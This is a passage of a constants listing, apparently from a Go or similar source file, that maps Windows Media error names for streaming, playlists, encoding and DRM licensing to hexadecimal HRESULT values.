 = 0xC00D132E\nNS_E_CURL_CANTDECODE                                         = 0xC00D132F\nNS_E_CURLHELPER_NOTRELATIVE                                  = 0xC00D1330\nNS_E_CURL_INVALIDBUFFERSIZE                                  = 0xC00D1331\nNS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED                 = 0xC00D1356\nNS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES           = 0xC00D1357\nNS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT                          = 0xC00D1358\nNS_E_NOT_CONTENT_PARTNER_TRACK                               = 0xC00D135A\nNS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE                  = 0xC00D135B\nNS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE                        = 0xC00D135C\nNS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED                         = 0xC00D135D\nNS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED                        = 0xC00D135F\nNS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT                    = 0xC00D1360\nNS_E_CONTENT_PARTNER_STILL_INITIALIZING                      = 0xC00D1362\nNS_E_OPEN_CONTAINING_FOLDER_FAILED                           = 0xC00D1363\nNS_E_ADVANCEDEDIT_TOO_MANY_PICTURES                          = 0xC00D136A\nNS_E_REDIRECT                                                = 0xC00D1388\nNS_E_STALE_PRESENTATION                                      = 0xC00D1389\nNS_E_NAMESPACE_WRONG_PERSIST                                 = 0xC00D138A\nNS_E_NAMESPACE_WRONG_TYPE                                    = 0xC00D138B\nNS_E_NAMESPACE_NODE_CONFLICT                                 = 0xC00D138C\nNS_E_NAMESPACE_NODE_NOT_FOUND                                = 0xC00D138D\nNS_E_NAMESPACE_BUFFER_TOO_SMALL                              = 0xC00D138E\nNS_E_NAMESPACE_TOO_MANY_CALLBACKS                            = 0xC00D138F\nNS_E_NAMESPACE_DUPLICATE_CALLBACK                            = 0xC00D1390\nNS_E_NAMESPACE_CALLBACK_NOT_FOUND                            = 0xC00D1391\nNS_E_NAMESPACE_NAME_TOO_LONG                                 = 0xC00D1392\nNS_E_NAMESPACE_DUPLICATE_NAME                                = 0xC00D1393\nNS_E_NAMESPACE_EMPTY_NAME                                    = 0xC00D1394\nNS_E_NAMESPACE_INDEX_TOO_LARGE                               = 0xC00D1395\nNS_E_NAMESPACE_BAD_NAME                                      = 0xC00D1396\nNS_E_NAMESPACE_WRONG_SECURITY                                = 0xC00D1397\nNS_E_CACHE_ARCHIVE_CONFLICT                                  = 0xC00D13EC\nNS_E_CACHE_ORIGIN_SERVER_NOT_FOUND                           = 0xC00D13ED\nNS_E_CACHE_ORIGIN_SERVER_TIMEOUT                             = 0xC00D13EE\nNS_E_CACHE_NOT_BROADCAST                                     = 0xC00D13EF\nNS_E_CACHE_CANNOT_BE_CACHED                                  = 0xC00D13F0\nNS_E_CACHE_NOT_MODIFIED                                      = 0xC00D13F1\nNS_E_CANNOT_REMOVE_PUBLISHING_POINT                          = 0xC00D1450\nNS_E_CANNOT_REMOVE_PLUGIN                                    = 0xC00D1451\nNS_E_WRONG_PUBLISHING_POINT_TYPE                             = 0xC00D1452\nNS_E_UNSUPPORTED_LOAD_TYPE                                   = 0xC00D1453\nNS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION                  = 0xC00D1454\nNS_E_INVALID_PUBLISHING_POINT_NAME                           = 0xC00D1455\nNS_E_TOO_MANY_MULTICAST_SINKS                                = 0xC00D1456\nNS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED          = 0xC00D1457\nNS_E_MULTICAST_PLUGIN_NOT_ENABLED                            = 0xC00D1458\nNS_E_INVALID_OPERATING_SYSTEM_VERSION                        = 0xC00D1459\nNS_E_PUBLISHING_POINT_REMOVED                                = 0xC00D145A\nNS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST             = 0xC00D145B\nNS_E_UNSUPPORTED_LANGUAGE                                    = 0xC00D145C\nNS_E_WRONG_OS_VERSION                                        = 0xC00D145D\nNS_E_PUBLISHING_POINT_STOPPED                                = 0xC00D145E\nNS_E_PLAYLIST_ENTRY_ALREADY_PLAYING                          = 0xC00D14B4\nNS_E_EMPTY_PLAYLIST                                          = 0xC00D14B5\nNS_E_PLAYLIST_PARSE_FAILURE                                  = 0xC00D14B6\nNS_E_PLAYLIST_UNSUPPORTED_ENTRY                              = 0xC00D14B7\nNS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST                          = 0xC00D14B8\nNS_E_PLAYLIST_ENTRY_SEEK                                     = 0xC00D14B9\nNS_E_PLAYLIST_RECURSIVE_PLAYLISTS                            = 0xC00D14BA\nNS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS                      = 0xC00D14BB\nNS_E_PLAYLIST_SHUTDOWN                                       = 0xC00D14BC\nNS_E_PLAYLIST_END_RECEDING                                   = 0xC00D14BD\nNS_E_DATAPATH_NO_SINK                                        = 0xC00D1518\nNS_E_INVALID_PUSH_TEMPLATE                                   = 0xC00D151A\nNS_E_INVALID_PUSH_PUBLISHING_POINT                           = 0xC00D151B\nNS_E_CRITICAL_ERROR                                          = 0xC00D151C\nNS_E_NO_NEW_CONNECTIONS                                      = 0xC00D151D\nNS_E_WSX_INVALID_VERSION                                     = 0xC00D151E\nNS_E_HEADER_MISMATCH                                         = 0xC00D151F\nNS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME                    = 0xC00D1520\nNS_E_NO_SCRIPT_ENGINE                                        = 0xC00D157C\nNS_E_PLUGIN_ERROR_REPORTED                                   = 0xC00D157D\nNS_E_SOURCE_PLUGIN_NOT_FOUND                                 = 0xC00D157E\nNS_E_PLAYLIST_PLUGIN_NOT_FOUND                               = 0xC00D157F\nNS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED                   = 0xC00D1580\nNS_E_MEDIA_PARSER_INVALID_FORMAT                             = 0xC00D1581\nNS_E_SCRIPT_DEBUGGER_NOT_INSTALLED                           = 0xC00D1582\nNS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER                      = 0xC00D1583\nNS_E_WIZARD_RUNNING                                          = 0xC00D1584\nNS_E_INVALID_LOG_URL                                         = 0xC00D1585\nNS_E_INVALID_MTU_RANGE                                       = 0xC00D1586\nNS_E_INVALID_PLAY_STATISTICS                                 = 0xC00D1587\nNS_E_LOG_NEED_TO_BE_SKIPPED                                  = 0xC00D1588\nNS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED             = 0xC00D1589\nNS_E_PORT_IN_USE                                             = 0xC00D158A\nNS_E_PORT_IN_USE_HTTP                                        = 0xC00D158B\nNS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE         = 0xC00D158C\nNS_E_ARCHIVE_REACH_QUOTA                                     = 0xC00D158D\nNS_E_ARCHIVE_ABORT_DUE_TO_BCAST                              = 0xC00D158E\nNS_E_ARCHIVE_GAP_DETECTED                                    = 0xC00D158F\nNS_E_AUTHORIZATION_FILE_NOT_FOUND                            = 0xC00D1590\nNS_E_BAD_MARKIN                                              = 0xC00D1B58\nNS_E_BAD_MARKOUT                                             = 0xC00D1B59\nNS_E_NOMATCHING_MEDIASOURCE                                  = 0xC00D1B5A\nNS_E_UNSUPPORTED_SOURCETYPE                                  = 0xC00D1B5B\nNS_E_TOO_MANY_AUDIO                                          = 0xC00D1B5C\nNS_E_TOO_MANY_VIDEO                                          = 0xC00D1B5D\nNS_E_NOMATCHING_ELEMENT                                      = 0xC00D1B5E\nNS_E_MISMATCHED_MEDIACONTENT                                 = 0xC00D1B5F\nNS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP                        = 0xC00D1B60\nNS_E_AUDIODEVICE_BUSY                                        = 0xC00D1B61\nNS_E_AUDIODEVICE_UNEXPECTED                                  = 0xC00D1B62\nNS_E_AUDIODEVICE_BADFORMAT                                   = 0xC00D1B63\nNS_E_VIDEODEVICE_BUSY                                        = 0xC00D1B64\nNS_E_VIDEODEVICE_UNEXPECTED                                  = 0xC00D1B65\nNS_E_INVALIDCALL_WHILE_ENCODER_RUNNING                       = 0xC00D1B66\nNS_E_NO_PROFILE_IN_SOURCEGROUP                               = 0xC00D1B67\nNS_E_VIDEODRIVER_UNSTABLE                                    = 0xC00D1B68\nNS_E_VIDCAPSTARTFAILED                                       = 0xC00D1B69\nNS_E_VIDSOURCECOMPRESSION                                    = 0xC00D1B6A\nNS_E_VIDSOURCESIZE                                           = 0xC00D1B6B\nNS_E_ICMQUERYFORMAT                                          = 0xC00D1B6C\nNS_E_VIDCAPCREATEWINDOW                                      = 0xC00D1B6D\nNS_E_VIDCAPDRVINUSE                                          = 0xC00D1B6E\nNS_E_NO_MEDIAFORMAT_IN_SOURCE                                = 0xC00D1B6F\nNS_E_NO_VALID_OUTPUT_STREAM                                  = 0xC00D1B70\nNS_E_NO_VALID_SOURCE_PLUGIN                                  = 0xC00D1B71\nNS_E_NO_ACTIVE_SOURCEGROUP                                   = 0xC00D1B72\nNS_E_NO_SCRIPT_STREAM                                        = 0xC00D1B73\nNS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING                      = 0xC00D1B74\nNS_E_INVALIDPACKETSIZE                                       = 0xC00D1B75\nNS_E_PLUGIN_CLSID_INVALID                                    = 0xC00D1B76\nNS_E_UNSUPPORTED_ARCHIVETYPE                                 = 0xC00D1B77\nNS_E_UNSUPPORTED_ARCHIVEOPERATION                            = 0xC00D1B78\nNS_E_ARCHIVE_FILENAME_NOTSET                                 = 0xC00D1B79\nNS_E_SOURCEGROUP_NOTPREPARED                                 = 0xC00D1B7A\nNS_E_PROFILE_MISMATCH                                        = 0xC00D1B7B\nNS_E_INCORRECTCLIPSETTINGS                                   = 0xC00D1B7C\nNS_E_NOSTATSAVAILABLE                                        = 0xC00D1B7D\nNS_E_NOTARCHIVING                                            = 0xC00D1B7E\nNS_E_INVALIDCALL_WHILE_ENCODER_STOPPED                       = 0xC00D1B7F\nNS_E_NOSOURCEGROUPS                                          = 0xC00D1B80\nNS_E_INVALIDINPUTFPS                                         = 0xC00D1B81\nNS_E_NO_DATAVIEW_SUPPORT                                     = 0xC00D1B82\nNS_E_CODEC_UNAVAILABLE                                       = 0xC00D1B83\nNS_E_ARCHIVE_SAME_AS_INPUT                                   = 0xC00D1B84\nNS_E_SOURCE_NOTSPECIFIED                                     = 0xC00D1B85\nNS_E_NO_REALTIME_TIMECOMPRESSION                             = 0xC00D1B86\nNS_E_UNSUPPORTED_ENCODER_DEVICE                              = 0xC00D1B87\nNS_E_UNEXPECTED_DISPLAY_SETTINGS                             = 0xC00D1B88\nNS_E_NO_AUDIODATA                                            = 0xC00D1B89\nNS_E_INPUTSOURCE_PROBLEM                                     = 0xC00D1B8A\nNS_E_WME_VERSION_MISMATCH                                    = 0xC00D1B8B\nNS_E_NO_REALTIME_PREPROCESS                                  = 0xC00D1B8C\nNS_E_NO_REPEAT_PREPROCESS                                    = 0xC00D1B8D\nNS_E_CANNOT_PAUSE_LIVEBROADCAST                              = 0xC00D1B8E\nNS_E_DRM_PROFILE_NOT_SET                                     = 0xC00D1B8F\nNS_E_DUPLICATE_DRMPROFILE                                    = 0xC00D1B90\nNS_E_INVALID_DEVICE                                          = 0xC00D1B91\nNS_E_SPEECHEDL_ON_NON_MIXEDMODE                              = 0xC00D1B92\nNS_E_DRM_PASSWORD_TOO_LONG                                   = 0xC00D1B93\nNS_E_DEVCONTROL_FAILED_SEEK                                  = 0xC00D1B94\nNS_E_INTERLACE_REQUIRE_SAMESIZE                              = 0xC00D1B95\nNS_E_TOO_MANY_DEVICECONTROL                                  = 0xC00D1B96\nNS_E_NO_MULTIPASS_FOR_LIVEDEVICE                             = 0xC00D1B97\nNS_E_MISSING_AUDIENCE                                        = 0xC00D1B98\nNS_E_AUDIENCE_CONTENTTYPE_MISMATCH                           = 0xC00D1B99\nNS_E_MISSING_SOURCE_INDEX                                    = 0xC00D1B9A\nNS_E_NUM_LANGUAGE_MISMATCH                                   = 0xC00D1B9B\nNS_E_LANGUAGE_MISMATCH                                       = 0xC00D1B9C\nNS_E_VBRMODE_MISMATCH                                        = 0xC00D1B9D\nNS_E_INVALID_INPUT_AUDIENCE_INDEX                            = 0xC00D1B9E\nNS_E_INVALID_INPUT_LANGUAGE                                  = 0xC00D1B9F\nNS_E_INVALID_INPUT_STREAM                                    = 0xC00D1BA0\nNS_E_EXPECT_MONO_WAV_INPUT                                   = 0xC00D1BA1\nNS_E_INPUT_WAVFORMAT_MISMATCH                                = 0xC00D1BA2\nNS_E_RECORDQ_DISK_FULL                                       = 0xC00D1BA3\nNS_E_NO_PAL_INVERSE_TELECINE                                 = 0xC00D1BA4\nNS_E_ACTIVE_SG_DEVICE_DISCONNECTED                           = 0xC00D1BA5\nNS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED                   = 0xC00D1BA6\nNS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER                         = 0xC00D1BA7\nNS_E_INPUT_DOESNOT_SUPPORT_SMPTE                             = 0xC00D1BA8\nNS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS                     = 0xC00D1BA9\nNS_E_BAD_CONTENTEDL                                          = 0xC00D1BAA\nNS_E_INTERLACEMODE_MISMATCH                                  = 0xC00D1BAB\nNS_E_NONSQUAREPIXELMODE_MISMATCH                             = 0xC00D1BAC\nNS_E_SMPTEMODE_MISMATCH                                      = 0xC00D1BAD\nNS_E_END_OF_TAPE                                             = 0xC00D1BAE\nNS_E_NO_MEDIA_IN_AUDIENCE                                    = 0xC00D1BAF\nNS_E_NO_AUDIENCES                                            = 0xC00D1BB0\nNS_E_NO_AUDIO_COMPAT                                         = 0xC00D1BB1\nNS_E_INVALID_VBR_COMPAT                                      = 0xC00D1BB2\nNS_E_NO_PROFILE_NAME                                         = 0xC00D1BB3\nNS_E_INVALID_VBR_WITH_UNCOMP                                 = 0xC00D1BB4\nNS_E_MULTIPLE_VBR_AUDIENCES                                  = 0xC00D1BB5\nNS_E_UNCOMP_COMP_COMBINATION                                 = 0xC00D1BB6\nNS_E_MULTIPLE_AUDIO_CODECS                                   = 0xC00D1BB7\nNS_E_MULTIPLE_AUDIO_FORMATS                                  = 0xC00D1BB8\nNS_E_AUDIO_BITRATE_STEPDOWN                                  = 0xC00D1BB9\nNS_E_INVALID_AUDIO_PEAKRATE                                  = 0xC00D1BBA\nNS_E_INVALID_AUDIO_PEAKRATE_2                                = 0xC00D1BBB\nNS_E_INVALID_AUDIO_BUFFERMAX                                 = 0xC00D1BBC\nNS_E_MULTIPLE_VIDEO_CODECS                                   = 0xC00D1BBD\nNS_E_MULTIPLE_VIDEO_SIZES                                    = 0xC00D1BBE\nNS_E_INVALID_VIDEO_BITRATE                                   = 0xC00D1BBF\nNS_E_VIDEO_BITRATE_STEPDOWN                                  = 0xC00D1BC0\nNS_E_INVALID_VIDEO_PEAKRATE                                  = 0xC00D1BC1\nNS_E_INVALID_VIDEO_PEAKRATE_2                                = 0xC00D1BC2\nNS_E_INVALID_VIDEO_WIDTH                                     = 0xC00D1BC3\nNS_E_INVALID_VIDEO_HEIGHT                                    = 0xC00D1BC4\nNS_E_INVALID_VIDEO_FPS                                       = 0xC00D1BC5\nNS_E_INVALID_VIDEO_KEYFRAME                                  = 0xC00D1BC6\nNS_E_INVALID_VIDEO_IQUALITY                                  = 0xC00D1BC7\nNS_E_INVALID_VIDEO_CQUALITY                                  = 0xC00D1BC8\nNS_E_INVALID_VIDEO_BUFFER                                    = 0xC00D1BC9\nNS_E_INVALID_VIDEO_BUFFERMAX                                 = 0xC00D1BCA\nNS_E_INVALID_VIDEO_BUFFERMAX_2                               = 0xC00D1BCB\nNS_E_INVALID_VIDEO_WIDTH_ALIGN                               = 0xC00D1BCC\nNS_E_INVALID_VIDEO_HEIGHT_ALIGN                              = 0xC00D1BCD\nNS_E_MULTIPLE_SCRIPT_BITRATES                                = 0xC00D1BCE\nNS_E_INVALID_SCRIPT_BITRATE                                  = 0xC00D1BCF\nNS_E_MULTIPLE_FILE_BITRATES                                  = 0xC00D1BD0\nNS_E_INVALID_FILE_BITRATE                                    = 0xC00D1BD1\nNS_E_SAME_AS_INPUT_COMBINATION                               = 0xC00D1BD2\nNS_E_SOURCE_CANNOT_LOOP                                      = 0xC00D1BD3\nNS_E_INVALID_FOLDDOWN_COEFFICIENTS                           = 0xC00D1BD4\nNS_E_DRMPROFILE_NOTFOUND                                     = 0xC00D1BD5\nNS_E_INVALID_TIMECODE                                        = 0xC00D1BD6\nNS_E_NO_AUDIO_TIMECOMPRESSION                                = 0xC00D1BD7\nNS_E_NO_TWOPASS_TIMECOMPRESSION                              = 0xC00D1BD8\nNS_E_TIMECODE_REQUIRES_VIDEOSTREAM                           = 0xC00D1BD9\nNS_E_NO_MBR_WITH_TIMECODE                                    = 0xC00D1BDA\nNS_E_INVALID_INTERLACEMODE                                   = 0xC00D1BDB\nNS_E_INVALID_INTERLACE_COMPAT                                = 0xC00D1BDC\nNS_E_INVALID_NONSQUAREPIXEL_COMPAT                           = 0xC00D1BDD\nNS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL                      = 0xC00D1BDE\nNS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR           = 0xC00D1BDF\nNS_E_EXCEED_MAX_DRM_PROFILE_LIMIT                            = 0xC00D1BE0\nNS_E_DEVICECONTROL_UNSTABLE                                  = 0xC00D1BE1\nNS_E_INVALID_PIXEL_ASPECT_RATIO                              = 0xC00D1BE2\nNS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH                 = 0xC00D1BE3\nNS_E_INVALID_PROFILE_CONTENTTYPE                             = 0xC00D1BE4\nNS_E_TRANSFORM_PLUGIN_NOT_FOUND                              = 0xC00D1BE5\nNS_E_TRANSFORM_PLUGIN_INVALID                                = 0xC00D1BE6\nNS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS                       = 0xC00D1BE7\nNS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING             = 0xC00D1BE8\nNS_E_MARKIN_UNSUPPORTED                                      = 0xC00D1BE9\nNS_E_DRM_INVALID_APPLICATION                                 = 0xC00D2711\nNS_E_DRM_LICENSE_STORE_ERROR                                 = 0xC00D2712\nNS_E_DRM_SECURE_STORE_ERROR                                  = 0xC00D2713\nNS_E_DRM_LICENSE_STORE_SAVE_ERROR                            = 0xC00D2714\nNS_E_DRM_SECURE_STORE_UNLOCK_ERROR                           = 0xC00D2715\nNS_E_DRM_INVALID_CONTENT                                     = 0xC00D2716\nNS_E_DRM_UNABLE_TO_OPEN_LICENSE                              = 0xC00D2717\nNS_E_DRM_INVALID_LICENSE                                     = 0xC00D2718\nNS_E_DRM_INVALID_MACHINE                                     = 0xC00D2719\nNS_E_DRM_ENUM_LICENSE_FAILED                                 = 0xC00D271B\nNS_E_DRM_INVALID_LICENSE_REQUEST                             = 0xC00D271C\nNS_E_DRM_UNABLE_TO_INITIALIZE                                = 0xC00D271D\nNS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE                           = 0xC00D271E\nNS_E_DRM_INVALID_LICENSE_ACQUIRED                            = 0xC00D271F\nNS_E_DRM_NO_RIGHTS                                           = 0xC00D2720\nNS_E_DRM_KEY_ERROR                                           = 0xC00D2721\nNS_E_DRM_ENCRYPT_ERROR                                       = 0xC00D2722\nNS_E_DRM_DECRYPT_ERROR                                       = 0xC00D2723\nNS_E_DRM_LICENSE_INVALID_XML                                 = 0xC00D2725\nNS_E_DRM_NEEDS_INDIVIDUALIZATION                             = 0xC00D2728\nNS_E_DRM_ALREADY_INDIVIDUALIZED                              = 0xC00D2729\nNS_E_DRM_ACTION_NOT_QUERIED                                  = 0xC00D272A\nNS_E_DRM_ACQUIRING_LICENSE                                   = 0xC00D272B\nNS_E_DRM_INDIVIDUALIZING                                     = 0xC00D272C\nNS_E_BACKUP_RESTORE_FAILURE                                  = 0xC00D272D\nNS_E_BACKUP_RESTORE_BAD_REQUEST_ID                           = 0xC00D272E\nNS_E_DRM_PARAMETERS_MISMATCHED                               = 0xC00D272F\nNS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT                     = 0xC00D2730\nNS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT                        = 0xC00D2731\nNS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT                     = 0xC00D2732\nNS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT                     = 0xC00D2733\nNS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT                  = 0xC00D2734\nNS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT                      = 0xC00D2735\nNS_E_DRM_INDIVIDUALIZE_ERROR                                 = 0xC00D2736\nNS_E_DRM_LICENSE_OPEN_ERROR                                  = 0xC00D2737\nNS_E_DRM_LICENSE_CLOSE_ERROR                                 = 0xC00D2738\nNS_E_DRM_GET_LICENSE_ERROR                                   = 0xC00D2739\nNS_E_DRM_QUERY_ERROR                                         = 0xC00D273A\nNS_E_DRM_REPORT_ERROR                                        = 0xC00D273B\nNS_E_DRM_GET_LICENSESTRING_ERROR                             = 0xC00D273C\nNS_E_DRM_GET_CONTENTSTRING_ERROR                             = 0xC00D273D\nNS_E_DRM_MONITOR_ERROR                                       = 0xC00D273E\nNS_E_DRM_UNABLE_TO_SET_PARAMETER                             = 0xC00D273F\nNS_E_DRM_INVALID_APPDATA                                     = 0xC00D2740\nNS_E_DRM_INVALID_APPDATA_VERSION                             = 0xC00D2741\nNS_E_DRM_BACKUP_EXISTS                                       = 0xC00D2742\nNS_E_DRM_BACKUP_CORRUPT                                      = 0xC00D2743\nNS_E_DRM_BACKUPRESTORE_BUSY                                  = 0xC00D2744\nNS_E_BACKUP_RESTORE_BAD_DATA                                 = 0xC00D2745\nNS_E_DRM_LICENSE_UNUSABLE                                    = 0xC00D2748\nNS_E_DRM_INVALID_PROPERTY                                    = 0xC00D2749\nNS_E_DRM_SECURE_STORE_NOT_FOUND                              = 0xC00D274A\nNS_E_DRM_CACHED_CONTENT_ERROR                                = 0xC00D274B\nNS_E_DRM_INDIVIDUALIZATION_INCOMPLETE                        = 0xC00D274C\nNS_E_DRM_DRIVER_AUTH_FAILURE                                 = 0xC00D274D\nNS_E_DRM_NEED_UPGRADE_MSSAP                                  = 0xC00D274E\nNS_E_DRM_REOPEN_CONTENT                                      = 0xC00D274F\nNS_E_DRM_DRIVER_DIGIOUT_FAILURE                              = 0xC00D2750\nNS_E_DRM_INVALID_SECURESTORE_PASSWORD                        = 0xC00D2751\nNS_E_DRM_APPCERT_REVOKED                                     = 0xC00D2752\nNS_E_DRM_RESTORE_FRAUD                                       = 0xC00D2753\nNS_E_DRM_HARDWARE_INCONSISTENT                               = 0xC00D2754\nNS_E_DRM_SDMI_TRIGGER                                        = 0xC00D2755\nNS_E_DRM_SDMI_NOMORECOPIES                                   = 0xC00D2756\nNS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT                      = 0xC00D2757\nNS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT                        = 0xC00D2758\nNS_E_DRM_LICENSE_NOTACQUIRED                                 = 0xC00D2759\nNS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT                      = 0xC00D275A\nNS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT                  = 0xC00D275B\nNS_E_DRM_BUFFER_TOO_SMALL                                    = 0xC00D275C\nNS_E_DRM_UNSUPPORTED_PROPERTY                                = 0xC00D275D\nNS_E_DRM_ERROR_BAD_NET_RESP                                  = 0xC00D275E\nNS_E_DRM_STORE_NOTALLSTORED                                  = 0xC00D275F\nNS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID                = 0xC00D2760\nNS_E_DRM_INVALID_DATA                                        = 0xC00D2761\nNS_E_DRM_POLICY_DISABLE_ONLINE                               = 0xC00D2762\nNS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT              = 0xC00D2763\nNS_E_DRM_NOT_CONFIGURED                                      = 0xC00D2764\nNS_E_DRM_DEVICE_ACTIVATION_CANCELED                          = 0xC00D2765\nNS_E_BACKUP_RESTORE_TOO_MANY_RESETS                          = 0xC00D2766\nNS_E_DRM_DEBUGGING_NOT_ALLOWED                               = 0xC00D2767\nNS_E_DRM_OPERATION_CANCELED                                  = 0xC00D2768\nNS_E_DRM_RESTRICTIONS_NOT_RETRIEVED                          = 0xC00D2769\nNS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT                    = 0xC00D276A\nNS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT               = 0xC00D276B\nNS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT         = 0xC00D276C\nNS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT                    = 0xC00D276D\nNS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION                  = 0xC00D2770\nNS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION                = 0xC00D2771\nNS_E_DRM_UNABLE_TO_GET_DEVICE_CERT                           = 0xC00D2772\nNS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK                          = 0xC00D2773\nNS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK                          = 0xC00D2774\nNS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER              = 0xC00D2775\nNS_E_DRM_POLICY_METERING_DISABLED                            = 0xC00D2776\nNS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED               = 0xC00D2777\nNS_E_DRM_SDK_VERSIONMISMATCH                                 = 0xC00D2778\nNS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET                          = 0xC00D2779\nNS_E_LICENSE_HEADER_MISSING_URL                              = 0xC00D277A\nNS_E_DEVICE_NOT_WMDRM_DEVICE                                 = 0xC00D277B\nNS_E_DRM_INVALID_APPCERT                                     = 0xC00D277C\nNS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION           = 0xC00D277D\nNS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE          = 0xC00D277E\nNS_E_DRM_CHECKPOINT_FAILED                                   = 0xC00D277F\nNS_E_DRM_BB_UNABLE_TO_INITIALIZE                             = 0xC00D2780\nNS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID                          = 0xC00D2781\nNS_E_DRM_UNABLE_TO_OPEN_DATA_STORE                           = 0xC00D2782\nNS_E_DRM_DATASTORE_CORRUPT                                   = 0xC00D2783\nNS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT               = 0xC00D2784\nNS_E_DRM_STUBLIB_REQUIRED                                    = 0xC00D2785\nNS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT                 = 0xC00D2786\nNS_E_DRM_MIGRATION_TARGET_NOT_ONLINE                         = 0xC00D2787\nNS_E_DRM_INVALID_MIGRATION_IMAGE                             = 0xC00D2788\nNS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED                   = 0xC00D2789\nNS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE                    = 0xC00D278A\nNS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID                     = 0xC00D278B\nNS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE                     = 0xC00D278C\nNS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH               = 0xC00D278D\nNS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS                      = 0xC00D278E\nNS_E_DRM_HARDWAREID_MISMATCH                                 = 0xC00D278F\nNS_E_INVALID_DRMV2CLT_STUBLIB                                = 0xC00D2790\nNS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA                     = 0xC00D2791\nNS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS                    = 0xC00D2792\nNS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD             = 0xC00D2793\nNS_E_DRM_MIGRATION_NOT_SUPPORTED                             = 0xC00D2794\nNS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT          = 0xC00D2795\nNS_E_DRM_CHECKPOINT_MISMATCH                                 = 0xC00D2796\nNS_E_DRM_CHECKPOINT_CORRUPT                                  = 0xC00D2797\nNS_E_REG_FLUSH_FAILURE                                       = 0xC00D2798\nNS_E_HDS_KEY_MISMATCH                                        = 0xC00D2799\nNS_E_DRM_MIGRATION_OPERATION_CANCELLED                       = 0xC00D279A\nNS_E_DRM_MIGRATION_OBJECT_IN_USE                             = 0xC00D279B\nNS_E_DRM_MALFORMED_CONTENT_HEADER                            = 0xC00D279C\nNS_E_DRM_LICENSE_EXPIRED                                     = 0xC00D27D8\nNS_E_DRM_LICENSE_NOTENABLED                                  = 0xC00D27D9\nNS_E_DRM_LICENSE_APPSECLOW                                   = 0xC00D27DA\nNS_E_DRM_STORE_NEEDINDI                                      = 0xC00D27DB\nNS_E_DRM_STORE_NOTALLOWED                                    = 0xC00D27DC\nNS_E_DRM_LICENSE_APP_NOTALLOWED                              = 0xC00D27DD\nNS_E_DRM_LICENSE_CERT_EXPIRED                                = 0xC00D27DF\nNS_E_DRM_LICENSE_SECLOW                                      = 0xC00D27E0\nNS_E_DRM_LICENSE_CONTENT_REVOKED                             = 0xC00D27E1\nNS_E_DRM_DEVICE_NOT_REGISTERED                               = 0xC00D27E2\nNS_E_DRM_LICENSE_NOSAP                                       = 0xC00D280A\nNS_E_DRM_LICENSE_NOSVP                                       = 0xC00D280B\nNS_E_DRM_LICENSE_NOWDM                                       = 